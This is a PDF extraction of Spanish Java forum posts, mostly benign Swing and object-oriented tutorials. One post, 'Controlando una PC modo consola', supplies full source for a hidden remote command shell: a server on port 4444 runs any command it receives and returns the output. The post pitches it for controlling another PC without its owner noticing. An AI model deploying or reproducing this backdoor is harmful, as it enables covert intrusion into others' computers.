Download - Java Foros
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 1/169
JNumKeyboard
Este es un teclado numérico para la digitacion de claves, de esta forma colocamos un gradode seguridad a nuestras aplicaciones, ya que se evita que si, dando un pequeño ejemplo unpoco extremista, si alguien nos espía con algún keylogger, no podrá hacerlo con esta
herramienta ya que no se digita la contraseña con el teclado normal, sino con el mouse.
Imágenes
Código
Clase Principal
package clases;
import java.awt.Dimension; import java.awt.GridLayout; import java.awt.event.FocusEvent; import java.awt.event.FocusListener;
import javax.swing.*;
public class Principal extends JApplet{
JTextField txtusu=new JTextField (10); JPasswordField txtclave=new JPasswordField (10); JPopupMenu pop;
JNumKeyboard teclado;
public Principal(){
colocarSkin();
JPanel pafuera=new JPanel(); JPanel p=new JPanel(new GridLayout(2,2,0,0));
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 2/169
pafuera.setPreferredSize(new Dimension(200,30)); p.add(new JLabel("Usuario: ")); p.add(txtusu); p.add(new JLabel("Clave: ")); p.add(txtclave);
txtclave.addFocusListener(new FocusListener(){
@Override public void focusGained(FocusEvent arg0) { pop = new JPopupMenu(); teclado=new JNumKeyboard(txtclave); pop.add(teclado); pop.setVisible(true); pop.setLocation(txtclave.getLocationOnScreen().x+112,
txtclave.getLocationOnScreen().y-1); }
@Override public void focusLost(FocusEvent arg0) { pop.setVisible(false); }
});
pafuera.add(p); add(pafuera);
}
public void colocarSkin(){ try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.Ni
mbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) {
e.printStackTrace(); } catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } }
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 3/169
Clase JNumKeyboard
package clases;
import java.awt.GridLayout;
import java.awt.event.ActionEvent; import java.awt.event.ActionListener;
import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JPasswordField;
public class JNumKeyboard extends JPanel {
JPasswordField t;
publicJNumKeyboard(
JPasswordField txt){
t=txt;
setLayout(new GridLayout(4,3,0,0));
ActionListener accion=new ActionListener(){
@Override public void actionPerformed( ActionEvent e) { JButton b=(JButton)e.getSource(); t.setText(""+t.getText()+b.getText()); }
};
for(int i=0;i<12;i++){ if(i<9){ JButton b=new JButton(""+(i+1)); b.addActionListener(accion); add(b); }else{ if(i==9){
JButton b=new JButton(""); b.setEnabled(false); add(b); } if(i==10){ JButton b=new JButton("0"); b.addActionListener(accion); add(b);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 4/169
} if(i==11){ JButton b=new JButton(""); b.setEnabled(false); add(b);
} } } }
}
Al hacer clic sobre el campo de texto para digitar la contraseña se despliega una ventanaemergente con botones, uno para cada dígito numérico. Al dar clic sobre el otro campo detexto esta ventana desaparece.
Controlando una PC modo consola Ha sido difícil para nosotros esto días actualizar el blog, pero aquí estamos, llenos de ideas,hoy veremos como obtener la consola de otro pc, podremos hacer casi cualquier cosa en laotra pc, sin que la otra persona se de cuenta de que estamos controlando el pc.Podremos ejecutar programas, ver configuraciones de ip, estado de las conexiones del otropc, etc.
Código
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 5/169
Servidor
Clase Principal
package clases;
import java.io.IOException; import java.net.ServerSocket; import java.net.Socket;
public class Principal {
public Principal(){ try { ServerSocket server=new ServerSocket(4444); System .out.println("Escuchando..."); while(true){ Socket cliente=server.accept(); HiloManejador hm=new HiloManejador(cliente); hm.start(); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }
}
public static void main(String arg[]){ Principal p=new Principal(); }
}
Clase HiloManejador
package clases;
import java.io.BufferedReader; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.Socket;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 6/169
public class HiloManejador extends Thread {
Socket cliente; DataInputStream dis; DataOutputStream dos; Process p;
public HiloManejador(Socket s){ cliente=s; }
public void run(){ System .out.println("Cliente conectado"); while(true){ try { dis = new DataInputStream (cliente.getInputStream()); dos= new DataOutputStream (cliente.getOutputStream()); p=Runtime.getRuntime().exec(""+dis.readUTF()); BufferedReader s=new BufferedReader(new
InputStreamReader(p.getInputStream())); String x=s.readLine(); String todo=""; while(x!=null){ System .out.println(x); todo+=x+"\n"; x=s.readLine(); } dos.writeUTF(""+todo);
} catch (IOException e) { try { cliente.close(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } }
}
Cliente
Clase Principal
package clases;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 7/169
import java.awt.BorderLayout; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException;
import javax.swing.*;
public class Principal extends JFrame{
JTextArea txt; Socket s; JTextField consulta;
public Principal(){
consulta=new JTextField (); txt=new JTextArea(); consulta.addKeyListener(new KeyListener(){
@Override public void keyPressed(KeyEvent e) { if(e.getKeyCode()==KeyEvent.VK_ENTER){ DataOutputStream dos; DataInputStream dis;
try { dos = new DataOutputStream (s.getOutputStream()); dis=new DataInputStream (s.getInputStream()); dos.writeUTF(consulta.getText()); txt.append(""+dis.readUTF()+"\n"+"---------------------
----------------------------------"); } catch (IOException ex) { // TODO Auto-generated catch block ex.printStackTrace(); } }
}
@Override public void keyReleased(KeyEvent arg0) { // TODO Auto-generated method stub
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 8/169
@Override public void keyTyped(KeyEvent arg0) { // TODO Auto-generated method stub
}
}); try { s=new Socket("192.168.195.128",4444); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }
add(consulta,BorderLayout.NORTH); add(new JScrollPane(txt)); }
public static void main(String arg[]){ Principal p=new Principal(); p.setVisible(true); p.setBounds(0, 0, 300, 200); p.setDefaultCloseOperation(EXIT_ON_CLOSE); }
}
Descarga
Todo el proyecto lo pueden descargar desde aquí , se incluyen los archivos fuentes,las imágenes, y los ejecutables para que ensayen, recuerden deben cambiar la ip, yo use unade mi maquina virtual.
Polimorfismo
Submitted by OscarRyz on Mié, 09/07/2011 - 00:02
Conceptos
El polimorfismo es quizá al característica más importante de la programación orientada aobjetos y también quizá la más difícil de entender y creo que en parte se debe al nombre; noayuda mucho y si impresiona al principio.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 9/169
Pero si en vez de pensar en la palabra pensamos en como los objetos se comportan dediferente forma dependiendo de su naturaleza puede ser más claro.
Por ejemplo, en el post anterior Clases y Objetos hablaba como los objetos de nuestrossistema se pueden clasificar de acuerdo a sus atributos y comportamiento. Los objetos de la
misma clase se comportan igual y los objetos de diferentes clases se comportan diferente.¿Parece demasiado obvio verdad? Pues es que lo es.
Por ejemplo, el mecanismo de persistencia ( entiéndase, cuando voy a "salvar", o "guardar"algo ) puede utilizar una base de datos o el sistema de archivos entonces se tendrían dosclases diferentes donde cada una hiciera algo distinto.
Si tuvieramos esta clase llamada Persona:
class Persona { private String nombre;
private String apellido; public String nombre() { return this.nombre; } public String apellido() { return this.nombre; }
}
Podríamos escribir una clase que persistiera personas a una base de datos así:
class GuardaPersonaEnBaseDeDatos { void salva( Persona persona ) {
SomeMagicLibrary.executeUpdate( "UPDATE persona SET nombre = ? , apellido = ? ",
persona.nombre(),persona.apellido() );
} }
El código para salvar a la base de datos no importa mucho en este ejemplo, basta con verque se utiliza una sentencia SQL y por ahí una biblioteca mágica que haga todo el trabajo.
Podríamos también tener otra clase que en vez de usar una base de datos escribiera a unarchivo:
class GuardaPersonaEnArchivo { void salva( Persona persona ) {
PrintStream out = new PrintStream ( new FileOutputStream (
persona.nombre() + ".txt") ); out.printf("{ 'nombre' : '%s', 'apellido' : '%s' }",
persona.nombre(), persona.apellido() ); out.close();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 10/169
} }
De nuevo la implementación aquí no es la importante, sino que tenga un método que recibeuna instancia de persona y hace algo.
De esto se trata el polimorfismo! de que diferentes clases responden de diferente forma almismo mensaje ( mensaje es cuando se invoca o se ejecuta un método ), en este caso el
mensaje o el método fue salva( Persona ) y las dos clases lo hicieron de formadiferente. Eso es todo.
Ahora. En Java, el tipo de dato ( la clase ) del objeto se debe de declarar antes de que elprograma se ejecute ( por eso se le llama de tipeo estático, por que los tipos de datos sedefinen "en frio" )
// Declara una variable llamada juan de tipo Persona
Persona juan;
Otros lenguajes permiten definir el tipo de dato en tiempo de ejecución ( tipeo dinámico )
Como a los objetos solo se les pueden enviar mensajes que estén definidos en su propiaclase, habría problema para intentar hacer esto:
Persona juan = new Persona();
...
GuardaPersonaEnBaseDeDatos guardar = new
GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos.
guardar = new GuardaPersonaEnArchivo(); // eeerrrk!! Error
en tiempo de compilación guardar.salva( juan ); // ya ni siquiera llega a esta línea.
El problema es que la variable guardar fue declarada como de tipoGuardaPersonaEnArchivo y por lo tanto ya no se le puede asignar el tipoGuardaPersonaEnArchivo
En Java existen dos formas de solucionar este problema, la primera es definir una clasepadre para ambas clases y definir el tipo de dato como el de esa clase:
class Guardador { void salva( Persona persona ) {
// nah... no hagas nada..
} }
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 11/169
Y luego
class GuardaPersonaEnBaseDeDatos extends Guardador { void salva( Persona persona ) {
. .. . .
} }
y
class GuardaPersonaEnArchivo extends Guardador { void salva( Persona persona ) {
. .. . .}
}
Y definir el tipo de datos como el del padre:
Persona juan = new Persona();
...
Guardador guardar = new GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos.
guardar = new GuardaPersonaEnArchivo(); // compila bien guardar.salva( juan ); // ejecuta el otro método
Y dadaaaa!!! ya tenemos polimorfismo.
La otra opción es implementando una interfaz pero ya veremos eso después.
Conclusión
Si parece demasiado fácil hacer polimorfirsmo en Java y se quedan con la idea de "Que!!
eso es todo?!" pues les diré que sí, eso es todo.
Lo interesante aquí viene en la forma en la que se utiliza el polimorfismo y porque es tanimportante en la POO.
Por ejemplo en los plugins se escribe código y se llaman métodos sobre clases que nisiquiera existen aún, porque será el autor del plugin el que provea esa nueva funcionalidad.
De la misma forma, la gran mayoría de los famosos patrones de diseño se basanprecisamente en esto, en el polimorfismo para que sean las implementaciones las que diganque es lo que se va a hacer.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 12/169
Y en el ejemplo mismo que es tan burdo, se puede agregar fácilmente quizá un año despuésde haber escrito este pedazo de código, un nuevo "Guardador" que utilice la red en vez dela base de datos o el sistema de archivos, bastaría definir el nuevo método:
class GuardaEnRed extends Guardador { void
salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream dos = new DataOutputStream (
s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close();
} }
Con lo que tendríamos un nuevo guardador. Y eso es todo.
Polimorfismo: "Llamada a un Java / método virtual utilizando una referencia a una
superclase más generalizado de un objeto real invoca el método en el objeto real (el más
específicos de subclase), utilizando un bottom-up mecanismo de búsqueda". Noooo puescon estas definiciones si le voy a entendeeeer, al menos con esta definicion me hago masbolas. y luego este ejemplo que encontre:
void test ()(
//un objeto de tipo gato Cat simon = new Cat ();
//se crea un objeto de tipo animal, que extiende de gato ??? Animal animal = simon; /* upcasting */ animal.eat (); /* = Cat.eat */
Perro rover = new Perro ();
/* Rover segura upcast referencia a los animales*/ feed(rover); feed(simon); //aqui se esta mandando nuevamente al objeto
gato
) void feed(Animal a) (
// Animal.eat () = Cat.eat () // feed(rover) = Dog.eat () //feed(Simon) = Cat.eat () a.eat ();
)
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 13/169
Sinceramente no entiendo si se hace las mismas operaciones en animal.eat(); y cuando
se manda al metodo y se ejecuta a.eat();
No dudo que para muchos se les complique entenderlo, pero tambien a otros como yo puessi se nos dificulta y mas con este tipo de ejemplos
Yo te recomendaria usar interfaces, a excepcion de algunos casos en donde te recomendariaclases Abtractas:
public interface Guardador { void salva( Persona persona );
} class GuardaEnRed implementsGuardador {
void salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream dos = new DataOutputStream (
s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close();
} }
Cuando antes trataba de explicarle a alguien nuevo a la POO comenzaba con ejemploscómo el que tú das. Al final siempre terminaban preguntándome: "Bueno, a fin de cuentaspolimorfismo es..." y con una carota de: "WTFFFF?!?!?!?!?!".
A mi parecer una manera más sencilla de hacer entender el polimorfismo es la manera enque llamas a un mensaje...aunque hay diferencia de opiniones respecto de los operadores(hablando de Java) en si se pueden o no considerar cómo mensajes. Sin embargo ilustran deuna manera el polimorfismo. Ejemplo:
// Ilustrando polimorfismo con el signo + class EjemploSignoSuma{ --- public static void main(String ... args){ ------//Si usamos el signo + con un entero, lo suma: ------int x = -15; ------int y = 665; ------int z = x + y; ------String s = String.format("Usando el símbolo de sumaobtenemos que %d + %d = %d", x, y, z); ------//Ahora un ejemplo del uso del símbolo + con cadenas ------String wordOne = "The only place"; ------String wordTwo = "where you can dream"; ------s += "\n La frase usando el símbolo + es: " + wordOne + wordTwo; ------System.out.println(s);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 14/169
------System.exit(0); ---} }
Y lo vemos fácil, pues para cadenas el símbolo + es igual a decirle: "concatena", y para
números es igual a decirle: "suma". Otro ejemplo de polimorfismo con este mismo símboloes el uso de expresiones regulares (las cuales, un servidor no domina muy bien, de haceruna metida de pata corregirme por favor), en donde este mismo símbolo (+) sirve paraindicar que debe haber uno o más dígitos de un carácter indicado.
Menu Dinamico
Ase poco vi este efecto en una pagina y me decidi a hacerlo en java, no fue tan dificil comopense al comienzo, fue bastante rapido.
Imagenes
Depronto a alguien le interese usarlo en sus proyectos, aqui esta para que lo disfruten.
Solo dejo el codigo de la clase principal y el del panelmenu, por que sino haria muy extensoel post.
Clase Principal
package clases;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 15/169
import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*;
public class Principal extends JApplet{
JTextField txtusuario=new JTextField (10); JPasswordField txtclave=new JPasswordField (10);
public Principal(){
colocarSkin();
setLayout(new BorderLayout()); JPanel pafuera=new JPanel(new FlowLayout()); JPanel pgrid=new JPanel(new GridLayout(1,5));
pafuera.add(pgrid);
panelmenu pm1=new panelmenu("Inicio"); panelmenu pm2=new panelmenu("Registrar"); panelmenu pm3=new panelmenu("Eliminar"); panelmenu pm4=new panelmenu("Buscar"); panelmenu pm5=new panelmenu("Contacto");
pgrid.add(pm1); pgrid.add(pm2); pgrid.add(pm3); pgrid.add(pm4); pgrid.add(pm5); add(pafuera);
}
public void colocarSkin(){ try {
UIManager.setLookAndFeel("com.sun.jav
a.swing.plaf.nimbus.NimbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 16/169
(UnsupportedLookAndFeelException e) { e.printStackTrace(); }
}
}
Clase panelmenu
package clases;
import java.awt.Cursor; import java.awt.Graphics; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import javax.swing.ImageIcon;
import javax.swing.JOptionPane; import javax.swing.JPanel; import java.awt.Color; import java.awt.Dimension; import java.awt.Font;
public class panelmenu extends JPanel implements MouseListener{
ImageIcon img; boolean sw=false; int y=0;
String nombremenu;
public panelmenu(String nom){ nombremenu=nom; img=new
ImageIcon(this.getClass().getResource("../lib/inicio2.png")); addMouseListener(this); setPreferredSize(new Dimension((80),40));
}
public void paintComponent(Graphics g){ super.paintComponents(g); g.drawImage(img.getImage(), 0, y, 80, 80,
this); g.setFont(new Font("Verdana",Font.BOLD,12)); g.setColor(Color.WHITE); g.drawString(nombremenu, 10, 25+y); g.setColor(Color.BLACK);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 17/169
g.drawString(nombremenu, 10, 65+y); }
@Override public void mouseClicked( MouseEvent arg0) {
JOptionPane.showMessageDialog(
null,"Presionaste el menu " + nombremenu);
}
@Override public void mouseEntered( MouseEvent e) {
sw=true; hilosubir hs=new hilosubir(this); hs.start(); setCursor(new Cursor(Cursor.HAND_CURSOR));
}
@Override public void mouseExited( MouseEvent arg0) {
sw=false; hilobajar hb=new hilobajar(this); hb.start(); setCursor(null);
}
@Override public void mousePressed( MouseEvent arg0) { }
@Override public void mouseReleased( MouseEvent arg0) { }
}
El proyecto completo lo pueden ver en Java Zone, ademas pueden descargar el proyectodesde aqui.
Buscador de texto plano
Que onda ya ando de nuevo por aca:
Les comparto está pequeña utilidad que hice hace un par de días devido a la necesidad queme surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nadanuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es muchomas facil tener una aplicación intuitiva que nos ayude...
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 18/169
Copio el post directo de G+
Acabo de terminar un programita sencillo en java, que es util para buscar cadenas enarchivos el cual tiene las siguientes caracteristicas:
1.-Recibe los siguientes parametros:-Criterio de busqueda (el texto que buscara en el archivo)-Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira lassubcarpetas)-Extensión (la extensión de los archivos donde buscara, p.j. .java .txt)
2.- No distingue entre mayusculas y minusculas de tal manera que los criterios debusqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUEBUSCO" , etc , los toma como si fueran iguales.
3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvocoincidencias..
Comentarios:
hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos ynos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalladice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la rutade donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y ledas buscar es todo..
Ahorita busque una frase en una carpeta de 1.40 gb apx de tamaño y se tardo poco menosde 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae estaopción (lo que hace el programa) pero hice la misma busqueda y me encontro el mismoresultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba en
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 19/169
todos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado ywindows me tronaba el proceso.
Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que sepuede mejorar dejando la busqueda a un hilo mientras se pone una animación o algo que
indique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de ungran tamaño.
Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero..
¿les gustaria probarlo?el codigo fuente esta en: https://gist.github.com/1095949
espero cualquier comentario o sugerencia.
JTable una hermosura Ok... después de unos 4 años de estarme peleando con .NET (especíicamente con WPF) yde regresar a ver "que tanto había avanzado java" me reencuentro con jTable y memaravillo de lo bien que está estructurado.Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo comofuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberración.Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar código ymontarlo no sólo en diferentes programas o en diferentes accesos a datos y presentarloshabrán sentido, tenido o implorado por una programación modular por capas y que utilicecompletamente la independencia de datos entre la capa de presentación y la capa de
obtención de resultado de datos (que prara fines prácticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentación delos datos obtenidos mediante un jTableModel que puede ser el de omisión o unopersonalizado, de igual manera cada celda puede,según el tipo de datos presentar un manejodistinto de la presentación de datos, como ejemplo sencillo pondremos un código sencillode una clase ocupada por una tabla para presentar los datos en una celda de varias lineas ycon un tooltip para mostrar el contenido completo (espero haberme explicado):primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans ysu WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una claseindependiente que maneje la lógica de comportamiento de la presentación (así tenemosnuestra cara final independiente del que la maneja -como un títere que se puede comportar
de manera diferente con cada titiritero), lo que veremos entonces es código de esecontrolador:
JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5
0); res.getColumnModel().getColumn(1).setPreferredWidth(2
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 20/169
00); res.getColumnModel().getColumn(2).setPreferredWidth(5
0); res.setDefaultRenderer(String.class,
new MultiLineCellRenderer());
lo que estamos haciendo es decirle a nuestra tabla que ancho tendrá cada columna y decirleque si el dato que se pone es un String se utilizará nuestra clase para mostrarla:
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
import java.awt.Component; import java.awt.Font; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.UIManager; import javax.swing.border.EmptyBorder; import javax.swing.table.TableCellRenderer;
/** * * @author charly */
public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{
public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true);
}
public static boolean BOLD; @Override public Component getTableCellRendererComponent(JTable
jtable, Object value,
boolean isSelected, boolean hasFocus,
int row, int column) { if(isSelected){
setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground());
}else{ setForeground(jtable.getForeground());
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 21/169
setBackground(jtable.getBackground()); }
Font font = null; if(BOLD)
font = new Font(jtable.getFont().getFontName(),Font.BOLD, jtable.getFont().getSize() );
elsefont = jtable.getFont();
setToolTipText((String)value); setFont(font);
setText((String)value); if(hasFocus){
setBorder(UIManager.getBorder("Table.focusCellHighLightBroder"));
}else{ setBorder(new EmptyBorder(0,0,0,0));
}
return this; }
}
Espero que el código sea autoexplicable, pero en dado caso lo que estamos haciendo es
decir que cuando tengamos un String mostraremos un JTextArea, este debe implementar,para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextAreaincorpora los valores que le den a la celda y los "pinta", así de esta manera podemos, comoen este caso, manipular si pondremos el resultado en negritas o no, de igual manerapodríamos decirle que el contenido (p.e.) es html y poner texto en diferentes colores omuchas cosas más con independencia completa del resto del comportamiento de la tabla.
Así pues es como JTable va utilizando un paradigma importantísimo de cualquier problemade sistemas: divide y vencerás, convirtiendo cada uno de los problemas de presentación deuna tabla de datos en una solución completamente separados y con una solución poromisión que puede ser completamente reemplazable.
ya tendremos más oportunidades para seguir hablando de como ir personalizando nuestrastablas de resultados via JTable.
Buscador de texto plano
Que onda ya ando de nuevo por aca:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 22/169
Les comparto está pequeña utilidad que hice hace un par de días devido a la necesidad queme surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nadanuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es muchomas facil tener una aplicación intuitiva que nos ayude...
Copio el post directo de G+
Acabo de terminar un programita sencillo en java, que es util para buscar cadenas enarchivos el cual tiene las siguientes caracteristicas:
1.-Recibe los siguientes parametros:-Criterio de busqueda (el texto que buscara en el archivo)-Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira lassubcarpetas)-Extensión (la extensión de los archivos donde buscara, p.j. .java .txt)
2.- No distingue entre mayusculas y minusculas de tal manera que los criterios debusqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUEBUSCO" , etc , los toma como si fueran iguales.
3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvocoincidencias..
Comentarios:
hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos ynos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalladice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la rutade donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y ledas buscar es todo..
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 23/169
Ahorita busque una frase en una carpeta de 1.40 gb apx de tamaño y se tardo poco menosde 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae estaopción (lo que hace el programa) pero hice la misma busqueda y me encontro el mismoresultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba entodos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado y
windows me tronaba el proceso.
Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que sepuede mejorar dejando la busqueda a un hilo mientras se pone una animación o algo queindique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de ungran tamaño.
Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero..
¿les gustaria probarlo?
JPanel con Imagen de Fondo auto-ajustado a la ventana
Bueno yo les tengo un modo de añadir imagen de fondo a un JPanel y si dan al JPanel lapropiedad de Tamaño horizontal redefinible True y Tamaño vertical redefinible True,Verán como se adpata la imagen al JFrame que contiene al JPanel.
1.- (opcional) Dentro del JPanel añadido al JFrame ( por que no también JInternalFrame)dale click derecho y ve a "Personalizar Código".
2.- Código:
try { BgBorder borde = new
BgBorder(ImageIO.read("/recursos/miImagenFondo.png")) );
jPanel1.setBorder(borde); } catch (IOException e) {
System .out.println(e.getMessage()); }
.......Y la clase mágica que hace el resto por nosotros....
public class BgBorder implements Border {
private BufferedImage mImagen = null;
public BgBorder(BufferedImage pImagen) { mImagen = pImagen;
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 24/169
public void paintBorder(Component c, Graphics g, int x,int y, int width, int height) {
if (mImagen != null) { g.drawImage(mImagen, 0, 0, width, height, null);
}
} public Insets getBorderInsets(Component c) { return new Insets(0, 0, 0, 0);
} public boolean isBorderOpaque() {
return true; }
}
No recuerdo de donde lo leí por la web pero me ha servido mucho para mejorar misinterfaces.
toString()
Quizas alguien (como yo) tenga que inspeccionar las propiedades en algun punto de suscodigo sin tener que realizar un debug, puede ser cuando obtienes la iformacion de una DBa un pojo por ejemplo, cuando recibes la informacion de un Request, cuando recuperas lainformacion de algun otro lugar, el chiste es que necesitas ver e estado de tus variables.Bueno en mi caso voy a trabajar con clases que tienen aprox 50 propiedades cada una (novoy a discutir si eso bueno o malo, las voy a usar y punto) pero por experiencia se que aveces puede aterarse la informacion, mas que nada en la transportacion de los datos cuandlees de un fichero, cuando encriptas y "desencriptas", cuando lo mandas por HTTP y masqe nada hay broncas con la codificacion o que llego mocho el valor... etc
Bueno, ese es mi caso y coo yo no seré el unico que le mete mano al sistema quisesobreescribirle el toString() para que al invocarlo te muesre todas las propiedades que tienela clase junto con su valor que almacena, de esa forma me evito hacerle el debug einspeccionar una por una y e mi caso que son muchas propiedades pues me seria bientedioso hacerlo
Este codigo usa reflexion y busca todas las propiedades de clase y las lista junto con e valorque tiene asignado, pero pues en mi caso tambien quise darle una alineacion paraqe el valorde las propiedades fuera mas legible
Yo defino por ejepo estas propiedades
private String aaaaaaaaa = "tengo valor",bbbbbbb = "yo tabien tengo valor",ccccccccccccccc,ddddddddd,
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 25/169
eeeeeeee = "tienes el",fffffff = "valor",ggggg = "o",hhhh = "te vale",i,
jj = "ME VALE!!",k;
private double qqq = 645.318,www = 123.13,eee = 654,rrr = 7722177,ttt = 666,yyy = 69;
private File zzzqwe = new File("."),xxxdgnf = new File("/"),cccdsdfgvy = new
File("c:/mi/carpeta"),vvasdasvfdvkmg = new
File("/tu/carpeta"),bbasdasdbdhfrth = new
File("/home/sweet/home"),netewewwwnnert = new
File("/asd/qwe.sh"),mmmkjfrygsdfg = new
File("/home/work/asd.waa");
Y esto se veria asi:
aaaaaaaaa..........tengo valorbbbbbbb............yo tabien tengo valorccccccccccccccc....null ddddddddd..........null eeeeeeee...........tienes elfffffff............valor ggggg..............o
hhhh...............te valei..................null jj.................ME VALE!! k..................null qqq................645.318www................123.13eee................654.0rrr................7722177.0
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 26/169
ttt................666.0yyy................69.0zzzqwe..............xxxdgnf............\cccdsdfgvy.........c:\mi\carpeta
vvasdasvfdvkmg.....\tu\carpetabbasdasdbdhfrth....\home\sweet\homenetewewwwnnert.....\asd\qwe.sh mmmkjfrygsdfg......\home\work\asd.waa
y el codigo es este:
/** * Escribo mi propio metodo {@code toString()} porque
quiero ver todas las propiedades* de mi case en la frma que yo quiero */ @Override public String toString () {
StringBuilder sb = new StringBuilder (); try {
Class c = Class.forName (this.getClass ().getName ());
Field [] f = c.getDeclaredFields (); int l = getMaxLenght (f) + 4; for(Field propiedad:f)
sb.append
(rellenaEspacios (propiedad.getName (), l, '.')).append (propiedad.get
(this)).append ("\n");
} catch (Throwable e) { e.printStackTrace (); }
return sb.toString (); }
/** * Metodo que obtiene la longitud maxima de las
propiedades de la clase* * @param f Arreglo de tipo {@link Field}
que encapsula lainformacion de* las propiedades de la
5/11/2018 Java Foros - slidepdf.com
